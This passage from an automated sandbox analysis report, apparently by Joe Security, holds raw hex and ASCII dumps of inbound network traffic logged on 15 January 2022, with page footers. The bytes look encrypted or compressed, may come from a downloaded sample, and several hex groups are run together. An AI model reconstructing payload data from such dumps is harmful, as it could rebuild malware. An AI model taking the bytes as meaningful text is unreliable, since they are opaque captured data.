45 b9 1f 8d 56 3e 33 02 12 ff ed a4 64 2e 2f f6 6a 80 17 33 7a bb 45 db 97 b8 2a 97 e7 49 d1 98 f2 Data Ascii: >qy4R:qE>wBgtjWbqWuqcxx O-:%>%{7RJ@ex\C~Ktk2u}n+*V&UG( Zpy"WqDDX8>r^/7I#[/{v#*PkV'PEV>3d./j3zE*I

2022-01-15 19:23:30 UTC 38 IN Data Raw: ef 9b cc 1e b8 1f 5d 9d 42 79 3b 4a 35 e1 81 80 6a 35 f4 59 3b 5b 04 d4 c3 9b 1c ff cc c0 50 44 fd 07 89 5c d5 c4 fc 3b 06 9e ea 4a af c7 a9 bd bf bf 7b 5f 80 a0 e6 37 e7 f3 d5 a4 6a 43 da ce 78 51 eb c5 2d 3b cb bb 03 29 06 ad aa 6d f7 94 5b 90 f2 7d 86 2b f9 d0 3e d9 a1 7d 4b ca a5 6f 1a 09 87 ce eb 83 ab 36 fd 7c 58 08 6d c4 92 a2 bb ed c4 61 0d e6 b6 38 1f 62 9e ef 52 7f 90 d9 8e b3 ab 44 03 85 28 85 4c a7 87 f9 76 7e 9d e1 b3 c0 85 b4 64 f8 be f3 42 b9 3f 60 73 79 b0 e0 f1 c4 ba 39 09 ee 8b d9 e5 9e 9c 37 53 fd b7 1a f5 65 f5 65 1b c2 d4 4a 68 1d f8 c6 d1 c7 b2 fd 66 92 a4 61 0b 63 5e ef 1a 64 2e 20 63 bc c6 80 29 54 e0 66 59 a1 fc d8 3f b6 9a 6d 2b bc f9 a1 dc d7 ad 93 51 e9 2d db e6 01 fc 11 48 e4 a6 69 e1 26 e7 cf 97 10 0d 92 8c 3c 68 44 b4 2f 97 Data Ascii: ]By;J5j5Y;[PD\;J{_7jCxQ-;)m[}+>}Ko6|Xma8bRD(Lv~dB?`sy97SeeJhfac^d. c)TfY?m+Q-Hi&<hD/

2022-01-15 19:23:30 UTC 40 IN Data Raw: fc 2a 63 b1 f3 e9 8b 40 9d 77 fc a8 a2 8e e6 4e 1e f9 67 d5 7c 26 99 68 af 2e c3 74 0b 94 76 37 ad b0 46 29 bf 6d 44 7c 3f 52 fb 07 4c 3d 21 5c f2 a2 bc 18 66 0c f4 23 d6 79 d0 ea 67 cb 97 5a 3d 8b b2 81 cc 85 a8 89 cd 19 7c 48 2e 47 5d 35 63 be f9 26 5d f3 ec 50 54 7d 72 cf b4 c6 da 08 26 67 2c 7b 12 fe e3 20 7f e7 11 77 99 86 ff 71 4b 65 d3 ee ff d9 35 51 92 dd cb 3c 19 a5 0d b3 e7 9a 03 ae 57 43 c0 34 56 b2 0a 31 67 49 66 92 c5 47 a7 fd aa 43 1b 56 1a a6 d1 ce 8e ae e4 e6 86 35 44 9a 8b 82 67 de 3e eb 46 8a 6d d5 4c a5 17 f3 b7 4d 07 89 ee 32 8b 9c 14 82 7a 31 fb e7 3e 1d 89 45 86 21 77 b3 60 b0 5d b4 90 6e fa e4 31 68 67 46 88 43 4c ac 94 b3 5a d7 74 52 7e fc 9d 88 55 a9 57 cd 1b bb 88 c3 cb 06 1a d0 9d 36 ba 4c 0a e1 52 65 b7 ff 33 f2 e5 c6 39 9c 56 Data Ascii: *c@wNg|&h.tv7F)mD|?RL=!\f#ygZ=|H.G]5c&]PT}r&g,{ wqKe5Q<WC4V1gIfGCV5Dg>FmLM2z1>E!w`]n1hgFCLZtR~UW6LRe39V

2022-01-15 19:23:30 UTC 41 IN Data Raw: d4 e4 e9 01 e7 98 b3 ee 41 01 40 4f d2 4a b4 cf 56 9f 28 aa 3c 8e 7a 82 55 e9 ea 9e ac 3f 92 77 24 15 4c 9b 8c 38 8f 6f ab 07 86 ee 10 43 e6 9e 12 89 f1 87 6c ac 64 df 4d 55 56 03 19 de b1 52 08 80 80 09 4b 86 f5 fc d3 bd 22 5a 1f b2 76 80 1c 22 aa de 04 45 7a ca d8 27 f5 f7 74 06 5e eb 4d 72 ae f7 92 ac fe 92 4e dd 1f 78 d3 34 a6 53 9c 10 ce 2b f0 75 88ac 24 09 bf 34 cb f1 73 49 7b 25 59 1a 05 ce c0 a9 5d 70 d0 ee 95 90 d5 e5 51 72 7f f1 15 0e ce d7 89 79 f7 5e 10 c0 8a 1b d6 19 4b f5 11 ba de 7e db 75 22 9f 92 01 90 82 3e 99 00 f2 bd 84 bc e6 b2 b2 45 69 ea 5a ee e8 61 7b fb 6d 57 56 87 d0 23 d5 f2 ef ce 64 02 e4 c0 f0 7d 4d 11 fb 47 c3 54 95 9d 10 97 13 b5 20 ef c6 c3 49 d7 e8 8b 3d ed 10 e3 5e 15 bf 61 b8ee 38 7c 10 1d 82 1f dc ca ad 0b 84 3f ca 25 Data Ascii: A@OJV(<zU?w$L8oCldMUVRK"Zv"Ez't^MrNx4S+u$4sI{%Y]pQry^K~u">EiZa{mWV#d}MGT I=^a8|?%

2022-01-15 19:23:30 UTC 42 IN Data Raw: 53 d3 aa 83 e5 5e 61 c6 95 c3 4e 4d c8 a3 e4 a6 01 80 20 bb 78 b7 61 5e 65 30 c4 63 96 80 b7 24 6b e3 f1 d3 aa b1 67 c5 00 dd 1d 27 b2 6b ab 8b 36 52 81 bc 61 56 84 49 da 1d 30 93 6d 47 72 98 e8 56 d5 f5 94 36 f1 08 a2 0e 16 60 d9 84 77 82 af 20 c7 2c a7 71 f8 6a 83 4d 27 af d4 b8 90 e1 54 80 c6 41 ec e9 6f 13 41 cb 9c 3e 10 44 49 3a 29 c9 a1 8e d5 d7 49 c2 0a e5 ad ee 51 8a 1e 99 e1 50 cf 22 e9 ac f7 e5 a6 b9 91 62 b2 14 24 2d a9 07 f5 fc a3 b6 2b 67 bd c8 d4 86 d5 ca cc ea e6 79 36 90 56 7b 1c 90 03 75 19 37 4c 1d 4b e4 bd f2 0e 4f 2c 7f 6e b9 46 d6 f5 10 53 65 f0 b0 43 c7 07 6f da05 27 77 04 7b 5c 63 8b 59 d0 f9 b5 6e e3 57 ea 53 64 9d b5 1b 49 69 cd 73 f2 2d 5f 89 50 87 3a 98 e0 51 3d 64 31 8e 04 a1 fe 5e f3 9f 26 f2 1f 06 b8 23 e8 b1 ae 6c 12 06 0b Data Ascii: S^aNM xa^e0c$kg'k6RaVI0mGrV6`w ,qjM'TAoA>DI:)IQP"b$-+gy6V{u7LKO,nFSeCo'w{\cYnWSdIis-_P:Q=d1^&#l

2022-01-15 19:23:30 UTC 44 IN Data Raw: c6 45 a5 e0 d9 75 f0 6c 14 ab 8b 75 d7 f3 be fe 29 2a c4 5f f3 d3 7c 8e 5e 89 2b 5c 29 a4 b9 f1 02 41 64 e9 5f 5e aa 4c 49 bd d9 2f f4 80 67 5c 21 d3 5b 38 e0 50 53 68 08 fd 2b ae 27 b4 b3 1d a5 66 18 3e c8 29 84 36 8f 93 fe df 2e 11 4b 77 4d e2 de f9 bb f0 07 52 87 17 57 de da 27 17 b5 e7 45 a9 38 f7 c9 ee 7d 3b 4c 66 ee b1 eb fe 21 48 c4 ee b1 54 02 32 14 3d 4e 4a 3a 6f 00 c6 c7 79 df 25 63 b5 0a b3 b4 59 58 45 4e 30 e1 a3 ba 6b ca f6 6f 61 d3 f0 9d 3e 8e 0f ce 46 4a 18 d9 3a 8d 05 00 e6 2d 76 d3 33 80 65 09 48 02 e4 a7 f4 a2 a1 56 74 b1 50 ea c7 1e f1 49 3c d6 67 5f 96 b1 3d 22 2b 78 d8 11 16 b3 b1 ac 0f 44 d3 c9 f3 2e e8 a7 b6 db 30 c0 19 93 b5 60 f7 ae 7a ef 64 40 aa 3c 89 0d d4 21 83 e7 21 36 7c 41 1f a9 d0 8a 0c ff 97 1f 91 89 62 1c fc 70 ad e2 ef Data Ascii: Eulu)*_|^+\)Ad_^LI/g\![8PSh+'f>)6.KwMRW'E8};Lf!HT2=NJ:oy%cYXEN0koa>FJ:-v3eHVtPI<g_="+xD.0`zd@<!!6|Abp

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 25 of 103

2022-01-15 19:23:30 UTC 45 IN Data Raw: 24 a6 d1 16 ed a3 68 4c 29 5b 50 28 1c 14 8c d3 66 12 54 a4 29 2b d8 40 43 ac 4c 22 e4 a3 d4 0e ce db 3f 3c d7 e0 92 2a ea 33 74 00 ca 3e 55 7e 05 f1 2c c5 5c 4e a8 87 d8 35 44 3e b4 37 27 07 ae d5 e6 4c 55 b7 c2 a3 b3 64 a0 3e ab 9c ae 80 4b be 89 85 cf 27 29 a3 b6 39 ea 6f ff f2 ac f6 d6 df 7f 38 f1 ef 56 42 41 f7 69 21 3d 87 e6 f3 90 e8 11 a8 d1 40 9d 72 a3 dc e3 9a c3 a7 22 72 5e 50 43 60 33 fe 2b 84 6d 41 2c a4 92 12 35 15 df c0 a5 c2 ec e3 39 7b a7 43 bc 78 51 b8 3d 1a 08 b8 48 4b 6f d2 b7 86 90 4f 79 6f 42 6d 82 7b a8 62 27 6f 9e b6 3a 88 3e c8 df 9c 2c a1 50 7c f4 56 16 68 19 98 71 37 fd ab d7 92 1d 47 35 f3 1d 80 d2 b9 c9 87 e1 4e 8e e7 a8 50 d6 a0 aa 8b 32 7b e0 b7 9d 1d 92 05 32 39 cd eb 8c 5d e2 ec 01 2f 60 cb 35 d0 67 66 92 6a 17 cf fc bb ec Data Ascii: $hL)[P(fT)+@CL"?<*3t>U~,\N5D>7'LUd>K')9o8VBAi!=@r"r^PC`3+mA,59{CxQ=HKoOyoBm{b'o:>,P|Vhq7G5NP2{29]/`5gfj

2022-01-15 19:23:30 UTC 46 IN Data Raw: 30 22 7a 4b c0 32 1c 43 4d 3e 9a 2a c4 a9 5a fb b2 cf c8 c7 2c c9 d3 fb 1d 68 5c a0 07 c1 4c ee 70 fd 97 6b 74 de 2f 88 52 8c 3d 89 40 34 6e ed 92 1b 8d 15 1c 0b 56 8c 91 40 e4 89 8b fc 87 74 fb 21 dd 39 99 09 a1 fe 42 d3 be 92 01 1f 06 31 bf e8 0c 50 77 a2 c7 b1 0e bf 01 33 3e 92 f5 96 80 ed 68 a2 9b 86 59 e8 e2 90 9c 71 20 07 0a a3 6b 11 e1 5b 53 9f 7a be 76 b5 21 49 e1 79 e4 52 4d a0 ac 9b 49 a7 d3 38 da 14 44 56 23 65 e0 ab 59 c0 80 8b 97 66 91 6d 14 b8 90 9c b1 31 d3 ff d7 d2 97 2a a2 72 35 d7 43 f2 3d a1 aa 4d eb 8d e0 11 bb a6 2d 5a dd 9b 97 3b 42 10 53 ec 88 f8 bb 52 b7 db e0 68 4d 9c 04 27 94 4a ee f6 8c 10 2b e3 19 76 1a 04 76 51 d3 d0 12 14 ac 89 c0 fa 79 52 71 8b 2f 46 dd 8d ee bc 90 c7 4a 57 3e a2 df a5 41 53 e6 87 bb 7a 0f b0 0b 9f d0 8e 7e Data Ascii: 0"zK2CM>*Z,h\Lpkt/R=@4nV@t!9B1Pw3>hYq k[Szv!IyRMI8DV#eYfm1*r5C=M-Z;BSRhM'J+vvQyRq/FJW>ASz~

2022-01-15 19:23:30 UTC 48 IN Data Raw: 18 32 3e c7 7b 3b 96 28 48 89 32 8d ca be 7b 6e 43 46 87 5c 59 50 72 42 2a e5 85 a7 dc c6 9f ca 86 e3 39 db c7 e8 63 cf c9 2a 71 f7 99 ef 79 04 2d aa aa 6b de 9b 64 4e 88 c8 10 74 be 72 f0 76 f4 89 c5 03 e9 38 de bd 9e 80 81 35 37 cd 5e 63 3a 69 ca b2 59 8d 64 5a f0 51 d7 12 4f 14 57 83 0e dd 2e 01 1a c2 88 2a d5 6a 63 f8 36 27 50 45 0f df e9 e6 57 23 ac 52 1c 21 f9 52 2a 06 da e1 96 8b d8 62 70 0c 6f 59 df c1 fa 1e 46 38 b3 97 1e b1 81 6a 07 f1 98 3b ce 24 ca 28 5b 65 4c 9d 7d a0 27 1e f0 bb 21 07 cf dd bf 76 28 2a 79 4d c0 be c6 a3 06 c8 de 1d cf b5 50 6c 2f 6c 1c 2c 72 17 9f 39 39 30 c1 30 1b c3 9d 15 5d 98 1e 3f cc 8b 73 0d eb 9e 5c db 90 42 55 47 03 d6 16 5e 3a 8f 69 8d a0 8e c2 54 c1 d0 a3 2f f0 3c ae f9 d7 52 49 27 e3 16 fc 42 34 04 7c f4 e9 ce 15 Data Ascii: 2>{;(H2{nCF\YPrB*9c*qy-kdNtrv857^c:iYdZQOW.*jc6'PEW#R!R*bpoYF8j;$([eL}'!v(*yMPl/l,r9900]?s\BUG^:iT/<RI'B4|

2022-01-15 19:23:30 UTC 49 IN Data Raw: c0 0f 93 93 d9 91 69 7c b0 bd 7f 60 20 c5 47 45 72 76 c7 52 93 9c 87 fc ab 98 6d 1a 48 55 d6 c1 20 d5 1d 41 07 80 80 90 71 c7 dd 4a 32 db b7 6d 97 13 df 8b b5 82 58 9b 40 e4 06 c5 4c df 60 ce f2 56 b0 bb 5d 9d b0 38 2e 68 1e 45 d0 ea 40 17 07 55 02 2a 4e 8b 40 25 d5 ed 0f a8 ec 97 73 2b 54 5c 8e 17 a2 92 73 d7 07 48 64 98 80 93 65 9f d1 da b4 eb 14 9d c5 8d 00 de 85 f9 fc 19 2f 9a 8a 69 a2 7b d9 a1 b8 8a bd 4b 31 d4 5a b2 5b a6 18 c0 f5 f8 e0 3e a3 c9 a6 05 43 21 5c d5 68 a5 70 7a f1 9c 2f 72 1e bd 86 8b 37 4f 67 a2 d7 79 a1 a0 a3 cb 01 28 ff 0b be 81 41 bf f0 f6 2c 90 a8 c3 91 60 96 e5 a9 79 23 a9 6e 7c 56 32 9d 27 ae 65 e6 31 45 53 d5 bf 9f d9 87 ed bb 59 26 68 a9 71 a2 6f c4 8a 83 52 12 fe 1b fa 0f a1 f1 92 da 81 54 3b 69 1f 48 3e f8 d9 2c 30 eb ba 9f Data Ascii: i|` GErvRmHU AqJ2mX@L`V]8.hE@U*N@%s+T\sHde/i{K1Z[>C!\hpz/r7Ogy(A,`y#n|V2'e1ESY&hqoRT;iH>,0

2022-01-15 19:23:30 UTC 50 IN Data Raw: eb 91 ff 17 48 b9 4f 73 85 e9 72 0a f4 81 b3 79 9b b3 8c 20 0f 44 62 1a 46 77 d6 ab 81 6a 3c c0 bd 47 81 0c 11 64 e3 4a 05 6a 0d 81 d7 88 b8 10 8b de 34 b9 08 09 c4 21 f7 63 57 c7 8b fa 18 fe e5 96 1d 6b cd 84 a6 7b c8 8b 2c b3 f4 cd 9d a1 52 8e 9c 1b e2 d3 3d 71 a7 4c 95 d5 91 b4 0f de 1c fd ed 0e 36 86 4b 8e e6 59 89 87 92 ac 3c 27 6c ff 44 fa 0c 5f b9 40 13 ad 37 09 52 55 30 31 51 49 0c 8a 84 31 65 2c bb 81 14 92 e5 2e 13 3f 07 a1 ed 8d 29 1c a6 5f f6 26 94 19 05 11 54 ab 16 33 29 c8 fa e8 3e 9d c5 dd cf 6a fe ef 68 f4 23 42 84 ea 74 28 4f 8e e3 1f 41 a6 80 5a 78 c1 6a 08 49 79 fb 13 82 e9 18 48 6f a0 7e 9d 32 03 20 fa 37 84 09 0f 0d 8e ab cf af 88 6a df b2 50 42 fd 98 7e 43 0c d6 37 22 cb 2f 2c f5 b9 a0 01 69 92 00 5d 4a 44 2d 40 3e a1 27 c5 fb ee 95 Data Ascii: HOsry DbFwj<GdJj4!cWk{,R=qL6KY<'lD_@7RU01QI1e,.?)_&T3)>jh#Bt(OAZxjIyHo~2 7jPB~C7"/,i]JD-@>'

2022-01-15 19:23:30 UTC 52 IN Data Raw: d0 c1 f3 be fb a5 dd 3e c7 8b 00 15 c9 bf a0 80 77 40 57 8e cc a3 4a f8 f1 f6 58 b4 a8 bf 3f 41 97 3e 27 cf d9 d1 62 2f 47 c3 a0 59 74 94 5c 65 91 92 d4 be 06 56 22 2c 92 6c bd 44 09 62 cb fa f2 03 40 06 94 83 c4 1f 04 89 10 6c 4e 1b 43 3e 33 0d 63 cc 9c de 95 6e 04 aa f2 c2 40 00 a6 3a 9a 94 10 ee eb 3b 9b 83 34 06 b2 2b d8 f7 0b 5a 4c 7d bd ff 79 18 d6 3b 1f eb 68 46 3a 0d 7f e0 1a 19 64 28 c9 1b b8 03 83 ea 29 43 cf 54 dd 4e d2 b7 d3 50 77 d2 1e e9 4c a3 60 43 1f 06 b6 67 aa 27 e9 79 33 8d e9 42 27 80 59 48 ac fb 01 16 79 9f 81 bb c6 bd 70 e7 3b 77 18 5d 60 bc 03 04 fe d0 8a ab e3 69 17 b4 c0 64 f7 9b dd 58 ce a2 df 7a 72 02 bb 89 b2 7a ec ca c7 89 c0 d9 46 da da 86 3b 9c 5b 35 05 94 c3 79 a5 9d a8 4c 6e 1c 0b fd c3 6e 77 e7 15 51 8b 95 39 b8 2f 74 a4 Data Ascii: >w@WJX?A>'b/GYt\eV",lDb@lNC>3cn@:;4+ZL}y;hF:d()CTNPwL`Cg'y3B'YHyp;w]`idXzrzF;[5yLnnwQ9/t

2022-01-15 19:23:30 UTC 53 IN Data Raw: 45 ae e3 9e f2 d5 43 72 68 2c ad 15 e7 df 30 e5 20 04 8c 54 a4 e8 57 f6 cc b8 ee 9e 64 e4 48 7f 7b d8 bb a9 fe 5c c2 e0 db ec 7e c9 f2 0c f3 68 07 6f 87 a8 27 5d 7b de 94 38 86 a3 2d 3a 79 74 e2 22 0e 51 a5 f8 7a 2f 4b d1 6c 40 12 e1 dc 50 02 f1 78 3f 75 c6 23 2a 3c ae d4 46 be a0 3a f6 44 b6 f6 02 43 22 dd 06 26 cd 1c 85 19 01 e3 ab 8c 87 4c 19 33 fd a1 97 b9 4c 38 f0 c9 59 19 90 0a 1e 40 93 7b 0e 9f d7 56 db a8 2d ef 57 b1 44 b1 4b 92 a0 79 17 ea f4 c8 2e b4 fb 49 4c 49 c7 9f 7f b5 6f b7 c8 22 e8 d0 91 4d cd 93 11 5e ae 9d ba e5 d9 28 0b 41 81 ef 7a 58 7b ae 34 f9 79 90 aa 3c 8a a4 54 3b 74 c0 15 64 9d b9 1b da 34 4a ca e8 e2 c3 c6 86 2a c9 f2 d2 4a 2f 00 4e 83 b1 71 e0 55 a3 8a 59 a2 23 a8 e9 77 13 7f b3 85 f6 26 ff 6c b0 81 49 5e 57 3a fe 65 30 87 bf Data Ascii: ECrh,0 TWdH{\~ho']{8-:yt"Qz/Kl@Px?u#*<F:DC"&L3L8Y@{V-WDKy.ILIo"M^(AzX{4y<T;td4J*J/NqUY#w&lI^W:e0

2022-01-15 19:23:30 UTC 54 IN Data Raw: 8c e6 de 3f d2 48 10 ca 53 c1 df 9c 8c ab 51 77 96 d9 e9 cf 01 9f 80 0d 93 43 32 c9 eb 5b 93 eb 71 06 7e 48 48 7a e2 25 36 dc e8 d4 bd d6 48 3a c5 e2 6f c2 e6 4b 0a 9e 9a f6 b6 45 0a fe 69 13 c9 15 41 d9 0f 5c 6a a6 69 3d 11 33 9f f8 5d 9c 53 e5 8e 4f 29 3b 8a f5 fd ef 64 a9 76 1d 9c e7 fe d7 b8 42 bc f4 3d ce 10 4d 17 45 fa c1 ab c3 0c c7 ab 9d 37 9e ed f8 2b f3 d2 2e a0 a4 f9 b5 27 91 8c 37 ff 66 93 09 fc 6c ba 67 63 aa 7c 4a cc 64 3f 82 5f 0a 64 bf 19 b1 65 9d cd 00 e3 e7 5e 3e 9e 76 34 12 90 42 0f 75 4d 0e c6 86 6a 9d 8e cd d8 d6 b6 5a 20 26 a9 83 a6 ea 4d b9 d8 c2 10 50 86 a5 db d9 fb e7 0c c1 92 b1 38 0a 8f 85 3a f6 38 ff 7e f2 b5 f7 b9 3f d3 ca e0 e1 ff cc 5c 8c df b1 fb a5 ee 66 e4 96 2a db ca 56 3c 5e 1e 68 38 28 4b c3 4f f3 ca 7f cd 7f 45 03 84 Data Ascii: ?HSQwC2[q~HHz%6H:oKEiA\ji=3]SO);dvB=ME7+.'7flgc|Jd?_de^>v4BuMjZ &MP8:8~?\f*V<^h8(KOE

2022-01-15 19:23:30 UTC 58 IN Data Raw: 9c 4d 20 62 fc 0f 5e 45 49 cd 0c 69 a3 73 e3 1c 19 b4 04 4c 29 08 3c 1e 59 c8 4e b1 0a aa b5 4a aa ab 03 ef 5b ad 2e 4f 9c 6f 34 a3 cd 7a 63 c7 a7 48 5c e1 48 9d 0e 6a 62 67 22 e3 48 df cf aa c8 4b ec 5f c6 43 09 3a 24 ae ef d9 11 96 d3 a6 19 d5 7e 21 18 40 9a f5 81 75 b1 3a d5 54 a1 dc 49 d4 17 f2 5c 30 b1 b8 a3 07 bd 95 32 b9 f0 59 1c e9 c9 35 10 9d 46 1b b3 1a f6 57 bc a6 cd 86 d4 3e 08 37 7f 25 a2 59 14 2c f4 4d 1b fa 44 a5 78 34 f8 55 41 d0 11 f2 57 cf b1 ea 73 f8 36 c9 c7 6d ad cf 89 94 21 6c d1 19 ff 04 a0 ef 66 de 0b a8 85 96 91 57 78 e4 85 12 57 3a 45 a6 ee d7 8e f0 32 00 bb 46 8d ce 07 77 74 c5 39 9d d0 6d a1 87 b2 6f 3b fc 37 33 b8 4d a4 f3 cb 10 1b de 55 02 ab fc 31 ab 11 09 3a 3f 21 e4 76 4f 9f bf b8 24 f9 2c 4c 63 17 1b f1 48 1a 79 b9 82 e2 Data Ascii: M b^EIisL)<YNJ[.Oo4zcH\Hjbg"HK_C:$~!@u:TI\02Y5FW>7%Y,MDx4UAWs6m!lfWxW:E2Fwt9mo;73MU1:?!vO$,LcHy

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 26 of 103

2022-01-15 19:23:30 UTC 62 IN Data Raw: 37 eb fe 3d 96 52 9b 1e 96 c2 1a f4 af 9b b7 f1 4b 42 7c 60 d6 ee 47 5f a1 89 b7 48 3d 69 1d 22 28 0c 80 45 3c f1 62 fe 2d de 75 a9 c3 40 8d 9c 73 94 70 e0 99 c4 32 9b be 04 b5 af 20 32 18 c2 72 c0 7f 1d c1 5c fb 61 66 18 26 f2 2c cc d6 b9 e4 aa b7 5c b9 6d ca 28 a9 a7 ef 83 00 84 87 f1 07 6c 43 f8 20 fa 14 f7 d6 71 a8 a7 e4 96 1e 1d 70 dd c6 64 75 12 c7 71 b8 e8 72 0e ea 03 d2 28 88 dc 18 af 84 52 47 be 0d 6d 6f a6 69 4c b9 fb 9a f1 4a fa 05 53 82 2b 7c b1 f7 6c f0 c1 12 29 75 fb 53 3f e1 d9 e7 c8 c8 e7 cf 6b b4 74 36 59 7e dd 99 2a 43 87 6e 80 80 20 9b 25 98 16 63 31 75 13 12 35 49 fa 50 4f c9 23 78 71 e0 97 ce db d9 37 e7 1a ba 55 8c 24 d0 8e de b4 60 38 e5 81 19 ac a9 76 68 c2 f8 a4 bf 3c 54 e3 53 ab 72 00 d7 18 69 ef 2e ce a5 12 ed 73 62 60 9c 51 c3 Data Ascii: 7=RKB|`G_H=i"(E<b-u@sp2 2r\af&,\m(lC qpduqr(RGmoiLJS+|l)uS?kt6Y~*Cn %c1u5IPO#xq7U$`8vh<TSri.sb`Q

2022-01-15 19:23:30 UTC 63 IN Data Raw: 05 62 b6 e5 e9 c3 ee e0 05 94 09 f4 1c 02 86 58 5c 82 a5 20 09 46 31 b3 a3 04 b0 32 e6 2e ca dc 24 ec ba 9e ee 11 f2 c9 96 54 34 da 00 c2 ed c0 9f 46 15 b7 1b b0 07 47 d7 b9 4d 95 44 d7 7b 17 23 8d 1a 28 12 2a b4 7e f7 39 b2 b7 2e f3 91 c1 92 d3 6e 80 9a d7 22 10 70 76 fa e1 c8 90 c8 aa b1 03 fb dd 2c 96 3c ea 46 04 e4 de f1 6e bb 11 96 94 34 a4 d1 f2 66 07 4c 8d 81 b8 a2 7f f7 78 e4 36 86 dc 9e 22 61 9b db 5b f2 5c a8 c0 d8 b3 3c d2 78 2a 1a 54 6d 98 56 88 29 b7 03 99 5c 29 1f 83 df 86 48 f8 32 c4 e6 a7 41 75 b7 ff 88 21 d9 25 d3 a5 00 67 fc 24 2d 5d d1 42 bb f4 69 14 e9 74 9c f6 b8 40 51 28 56 16 5c 72 cc 80 79 9d 4a 07 39 b9 28 a9 dc 19 4e 9c 78 d9 12 fd ea b6 d3 4c 67 df de a0 e8 22 0e d4 a9 84 1e 71 2d b7 45 2c de d1 10 77 2e 36 b1 09 9c f7 08 79 fb Data Ascii: bX\ F12.$T4FGMD{#(*~9.n"pv,<Fn4fLx6"a[\<x*TmV)\)H2Au!%g$-]Bit@Q(V\ryJ9(NxLg"q-E,w.6y

2022-01-15 19:23:30 UTC 68 IN Data Raw: 74 ff 6a b4 fa 34 60 14 de 9c 48 21 7f 49 26 be e0 dd ad 71 f2 8a fd c8 51 a1 c1 56 0f 24 80 d8 cb f3 05 2f 11 9da2 44 cc 90 6f 51 c7 22 ea 98 25 de 39 ea 18 84 15 9c 97 a7 06 cb 84 af f3 c9 3d 85 fb 08 08 20 f8 7f 9e a8 e3 f9 51 8c c6 c9 55 2f ce de 8d ec aa 3e 20 7e c2 3c 6c 3f c3 64 b1 58 65 ab 77 84 15 ad 92 d1 78 8f f1 29 f8 1d cb b9 78 28 42 ea 74 c1 24 39 a0 51 16 e7 2d e3 e5 30 f5 41 38 d1 57 88 9f 4a c8 b4 9b 58 30 6d 24 80 c3 86 b7 be 0f bd 23 f7 11 e3 5a f6 a4 81 a9 16 33 fe c6 79 64 b5 24 5d 42 43 59 25 a6 f4 93 f4 d8 9c 1b 7c 8e 60 87 fc bf 6c b9 bb 23 d6 d3 7c d2 0b 90 9f d7 d7f0 5d 58 b0 ab 81 33 82 b5 40 0c ff 30 52 6d 74 f5 44 14 e8 10 6a db cb e5 71 36 85 12 f6 b1 76 64 8c f1 83 44 82 53 a1 8b 38 ce 5f e6 99 b3 b6 b6 08 90 46 69 3a c4 Data Ascii: tj4`H!I&qQV$/DoQ"%9= QU/> ~<l?dXewx)x(Bt$9Q-0A8WJX0m$#Z3yd$]BCY%|`l#|]X3@0RmtDjq6vdDS8_Fi:

2022-01-15 19:23:30 UTC 72 IN Data Raw: 11 3f 2b 1f ce 00 d3 de 22 e1 98 09 03 23 dc 3e 05 09 9c 3c 37 40 f5 c8 64 dc d1 65 b1 76 ed 6a b4 84 27 4a 48 a9 c0 89 ad 54 c1 7c 03 b3 61 e8 2c 11 24 50 68 13 23 c9 e2 bf 14 84 fb f4 14 aa 99 3d a5 80 dd 3d 49 d5 f0 5e f5 f2 b534 06 a9 ac f5 ba 55 0b 05 b2 fb c7 4b df d7 52 2b 49 f1 4d ac 49 7e 32 24 70 de ae 34 a0 8d 6d 4e 5b b1 91 76 85 7c 98 83 bd 81 18 7f b0 26 a8 03 eb 9e 35 ea fd 9f 24 e9 ee 18 05 55 a2 dd 2d ad d5 a6 4b fc c8 82 71 d8 ec 48 cf f5 9b 3b cc c3 03 7e 86 ab 9f 81 0f 66 e9 d6 f8 26 ab d5 05 75 3f 42 76 2f 55 cc 97 3e bb 89 76 6f 47 c5 d0 35 bf 76 13 2a ec 50 04 54 16 18 fd 24 bf c7 43 df 0f 58 43 c1 f3 60 34 e3 7e 85 1b e7 c2 6d ed 1d b9 c1 73 3c 9f 94 1e f2 a9 f7 a0 77 a9 cd 4a 6c b7 84 b9 f8 3e 87 96 02 e0 a2 e4 86 e2 d7 2d 5f 0c Data Ascii: ?+"#><7@devj'JHT|a,$Ph#==I^4UKR+IMI~2$p4mN[v|&5$U-KqH;~f&u?Bv/U>voG5v*PT$CXC`4~ms<wJl>-_

2022-01-15 19:23:30 UTC 76 IN Data Raw: 7e 7a ba f1 d6 a8 35 02 cd 09 2e 18 32 2d b7 19 2c 0f 7e d2 f5 aa 85 36 00 cf 07 86 e3 3f b8 14 ee 7a af ee 84 27 f7 3f 79 56 c6 98 f3 05 d9 25 5a 24 d5 9a 83 0f c7 4d 59 85 6b 5e b9 81 4e f3 9c 5c 25 1e 57 61 c1 6b ab 83 02 3d d2 b8 e9 4d 71 f7 38 a5 44 fb a7 f7 6f 96 0b 60 fa 31 11 2b ee bf f6 75 3f 54 42 9e 3c 01 7c de c6 12 dc 8c f8 d0 48 4a 80 e7 e0 e1 fa 95 8b cd ef 24 d2 ee f8 1b d4 e4 01 1c 48 b9 16 f9 36 79 28 09 4c 76 b9 4e 14 98 42 6b af c8 25 d0 22 7f 48 f4 3f b0 b1 3f 52 8d b1 36 11 4b 00 8a 5b ad be 8a 19 d0 8b af 3b d6 09 c3 e3 3a 19 ce fa 98 d5 85 19 df 19 c1 09 b3 d9 e6 0e dd 45 19 82 40 be 97 46 75 11 5a 08 f2 b4 d2 28 99 a1 14 4a c3 f9 70 2b f4 5f 40 9d d0 6d 8e 24 3e 1f 44 54 02 d2 be 29 68 36 7b f8 94 3d b6 b3 d9 a8 b3 4d eb ad 2d 32 Data Ascii: ~z5.2-,~6?z'?yV%Z$MYk^N\%Wak=Mq8Do`1+u?TB<|HJ$H6y(LvNBk%"H??R6K[;:E@FuZ(Jp+_@m$>DT)h6{=M-2

